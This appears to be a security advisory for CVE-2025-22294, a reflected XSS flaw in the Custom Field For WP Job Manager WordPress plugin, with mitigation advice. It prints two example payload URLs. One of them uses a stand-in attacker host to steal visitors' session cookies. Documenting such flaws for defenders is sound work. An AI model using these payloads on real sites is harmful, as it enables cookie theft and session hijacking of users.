CVE-2025-22294: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Gravity Master Custom Field For WP Job Manager allows Reflected XSS

A Cross-site Scripting (XSS) vulnerability has been discovered and is tracked as CVE-2025-22294, which affects the Gravity Master Custom Field For WP Job Manager plugin. Specifically, the vulnerability exists due to improper input validation, which allows attackers to perform Reflected XSS attacks and potentially compromise user data and website security. This security flaw is present in Custom Field For WP Job Manager versions up to and including 1.3.

Description

An issue with the Gravity Master Custom Field For WP Job Manager plugin allows attackers to execute arbitrary JavaScript code in the context of the victim's browser. This vulnerability arises due to improper input validation while generating certain web pages.

This could allow an attacker to manipulate the contents of the web page, exfiltrate sensitive user data, or perform other malicious actions on behalf of the victim. The Reflected XSS attack works by tricking users into visiting crafted URLs with malicious payloads, which are executed when the web page is loaded.

Code Snippet

The vulnerability can be exploited by injecting malicious code through query string parameters in the GET request for the vulnerable web page. Below is an example of a possible payload:

http://example.com/vulnerable_page?param=<script>alert('XSS')</script>;

In the above example, once the user visits this URL, the custom field will improperly handle the input and generate the web page containing the injected script tag. The JavaScript code inside the script tag (alert('XSS')) will be executed in the user's browser, displaying an alert box, confirming the presence of the XSS vulnerability.

To further illustrate the exploit, an attacker can craft a URL with malicious payloads like this

http://example.com/vulnerable_page?param=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>;

When a victim visits this URL, the injected JavaScript code will capture their cookies and send them to the attacker's website. The attacker could then use these stolen cookies for session hijacking, potentially gaining unauthorized access to the victim's account.

Mitigation

Users of the Gravity Master Custom Field For WP Job Manager plugin are advised to update to version 1.4 or later, which is expected to resolve the vulnerability. Additionally, website administrators should consider implementing Content Security Policies (CSPs) to reduce the impact of XSS attacks and validate user input on server-side.
